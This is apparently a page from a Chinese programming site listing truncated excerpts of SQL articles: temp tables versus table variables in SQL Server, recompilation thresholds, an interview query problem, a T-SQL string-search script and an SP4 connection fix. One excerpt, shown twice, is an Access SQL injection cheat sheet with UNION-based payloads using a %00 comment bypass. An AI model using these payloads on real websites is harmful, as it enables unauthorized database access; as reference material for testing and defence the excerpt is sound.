易截截图软件、单文件、免安装、纯绿色、仅160KB
热门标签: c c# c++ asp asp.net linux php jsp java vb Python Ruby mysql sql access Sqlite sqlserver delphi javascript Oracle ajax wap mssql html css flash flex dreamweaver xml
 最新文章 : sql

SQL 临时表与临时变量表

 
         在SQLServer的性能调优中,有一个不可比拟的问题:那就是如何在一段需要长时间的代码或被频繁调用的代码中处理临时数据集?表变量和临时表是两种选择。如何确定什么时候用临时表,什么时候用表变量呢?临时表和表变量都有特定的适用环境。
  表变量
  变量都以@或@@为前缀,表变量是变量的一种,另外一种变量被称为标量(可以理解为标准变量,就是标准数据类型的变量,例如整型int或者日期型DateTime)。以@前缀的表变量是本地的,因此只有在当前用户会话中才可以访问,而@@前缀的表变量是全局的,通常都是系统变量,比如说@@error代表最近的一个T-SQL语句的报错号。当然因为表变量首先是个变量,因此它只能在一个Batch中生存,也就是我们所说的边界,超出了这个边界,表变量也就消亡了。
  存放在内存中,正是因为这一点所有用户访问表变量的时候SQLServer是不需要生成志。同时变量是不需要考虑其他会话访问的问题,因此也不需要锁机制,对于非常繁忙的系统来说,避免锁的使用可以减少一部分系统负载。
  另外还有一个限制就是不能创建索引,当然也不存在统计数据的问题,因此在用户访问表变量的时候也就 ......

SQL SERVER中临时表、持久表、表变量的区别

 与持久表一样,优化器创建并维护临时表的分布统计信息,并跟踪它的基数。当索引临时表时,这种能力尤其重要。当优化器需要评估选择性时,它就可以根据这些分布统计信息生成经过优化的计划。这是临时表在性能方面不同于表变量的主要特性之一。
此外,因为临时表会维护统计信息,如果上次编译后被引用表有足够多的行发生变化(即达到重新编译阀值)代码会被重新编译。重新编译。重新编译阀值是根据表类型和行数计算得出的。
对于持久表来说,如果n<=500,则RT=500(n=当编译查询计划时表的基数);如果n>500,则RT=500+0.20*n。
对于临时表,如果n<6,则RT=6;如果6<=n<=500,则RT=500;如果n>500,则RT=500+0.20*n。例如,向临时表中加载6行后,再增加第7行将导致重新编译,而持久表很晚才会出现第一次重新编译。如果你想在查询临时表使用KEEP PLAN查询提示即可。
优化器维护临时表的分布统计信息这一特点及上述结论是选择临时对象类型的最重要特征。当从临时表和表变量中做出选择时,这些因素尤为重要,优化器不会为表变量创建或维护分布统计信息。虽然也为表变量维护行计数信息,但这个信息通常不准确。表变量自己不会引起重新编译,而重新编译对 ......

一个SQL面试题

 题目要求
阿里baba的面试题
有三个表
    学生表  S 
          SID  SNAME
  教师课表 T 
          TID  TNAME  TCL
  成绩表  SC   
            SID  TCL  SCR
各字段的含义不用我标明了吧,大侠哥哥么!呵呵
现在要求写SQL查询
    1、选修了A、B课程,并且A课程的成绩大于B成绩的学生姓名?
    2、没有选修‘li’老师的课程的学生,要求不能用in,exists 等词?
create table SC(
SID varchar(64) ,
TCL varchar(64) ,
SCR int) ;
create table S (
SID varchar(64) ,
SNAME varchar(64)
) ;
create table T
(
  TID varchar(64),
  TNAME varchar(64),
  TCL varchar(64)
) ;
insert into S VALUES ('1','11') ;
insert into S VALUES ('2','22') ;
insert into S VALUES ('3','33') ;
insert into ......

sql server查询数据库中包含指定字符串的数据表

 发布一个实用小工具,可以很方便的在数据库中找到包含指定字符串的数据表名及相应记录:
/*
功能:查询数据库中包含指定字符串的数据表名及相应记录
作者:陈加鹏 chjpeng#163.com
日期:2009-08-17
*/
declare @key varchar(30)
set @key = 'test'    --替换为要查找的字符串
DECLARE @tabName VARCHAR(40),@colName VARCHAR(40)
DECLARE @sql VARCHAR(2000)
declare @tsql varchar(8000)
DECLARE tabCursor CURSOR FOR
SELECT name from sysobjects WHERE xtype = 'u' AND name <> 'dtproperties'
OPEN tabCursor
FETCH NEXT from tabCursor INTO @tabName
WHILE @@fetch_status = 0
BEGIN
 set @tsql = ''
 DECLARE colCursor CURSOR FOR Select Name from SysColumns Where id=Object_Id(@tabName) and xtype=167
 OPEN colCursor
 FETCH NEXT from colCursor INTO @colName
 WHILE @@fetch_status = 0
 BEGIN
  SET @sql = 'if(exists(select * from ' + @tabName + ' where '
  SET @sql = @sql + @colName + ' like ''%' + @key + '%'')) begin  sel ......

整理比较全的Access SQL注入参考

 Access SQL注入参考
版本 0.2.1
(最近更新 10/10/2007)
原作者不详
 
描述 SQL查询及注释
注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替:
' UNION SELECT 1,1,1 from validTableName%00
 
语法错误信息 "[Microsoft][Driver ODBC Microsoft Access]"
多句执行 不支持.
联合查询 Access支持联合查询,UNION后的from关键字必须使用一个已经存在的表名.
附属查询 Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) :
' AND (SELECT TOP 1 'someData' from validTableName)%00
 
LIMIT支持 LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:
' UNION SELECT TOP 3 AttrName from validTableName%00 : 这条语句返回(前)3 行.
 
让查询返回0行 在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:
' AND 1=0 UNION SELECT AttrName1,AttrName2 from validTableName%00
 
字符串连接 不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
' UNION SELECT 'web ......

整理比较全的Access SQL注入参考

 Access SQL注入参考
版本 0.2.1
(最近更新 10/10/2007)
原作者不详
 
描述 SQL查询及注释
注释符 Access中没有专门的注释符号.因此"/*", "--"和"#"都没法使用.但是可以使用空字符"NULL"(%00)代替:
' UNION SELECT 1,1,1 from validTableName%00
 
语法错误信息 "[Microsoft][Driver ODBC Microsoft Access]"
多句执行 不支持.
联合查询 Access支持联合查询,UNION后的from关键字必须使用一个已经存在的表名.
附属查询 Access支持附属查询(例如:"TOP 1"用来返回第一行的内容) :
' AND (SELECT TOP 1 'someData' from validTableName)%00
 
LIMIT支持 LIMIT不被支持,但是在查询中可以声明"TOP N"来限制返回内容的行数:
' UNION SELECT TOP 3 AttrName from validTableName%00 : 这条语句返回(前)3 行.
 
让查询返回0行 在脚本在返回的HTML结果中只显示第一个查询的结果的时候非常有用:
' AND 1=0 UNION SELECT AttrName1,AttrName2 from validTableName%00
 
字符串连接 不支持CONCAT()函数. 可以使用"&"或"+"操作来俩接两个字符串.在使用的时侯必须对这两个操作符进行URLencode编码:
' UNION SELECT 'web ......

MyEclipse连接SQL Server 2000错误排除

在连接SQL Server 2000数据库时,系统提示如下错误:
在网上寻找到处理方法:
(把SQL server update到sp4)
1、在查询分析器中输入 select @@version 并执行
SQL Server 2000 版本和级别
@@VERSION
产品级别
 
SQL Server 2000 原始版本
8.00.194
RTM
 
Database Components SP1
8.00.384
SP1
 
Database Components SP2
8.00.534
SP2
 
Database Components SP3、SP3a
8.00.760
SP3
 
MSDE 2000 Release A
8.00.760
SP3
 
Database Components SP4
8.00.2039
SP4
 
如发现不是SP4,则到http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=8E2DFC8D-C20E-4446-99A9-B7F0213F8BC5
下载SP4,并安装。我只安装了SQL2000-KB884525-SP4-x86-CHS.EXE,另外几个文件是针对工具升级的,我没有安装。
安装完成后,连接成功! ......
总记录数:4346; 总页数:725; 每页6 条; 首页 上一页 [525] [526] [527] [528] 529 [530] [531] [532] [533] [534]  下一页 尾页
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号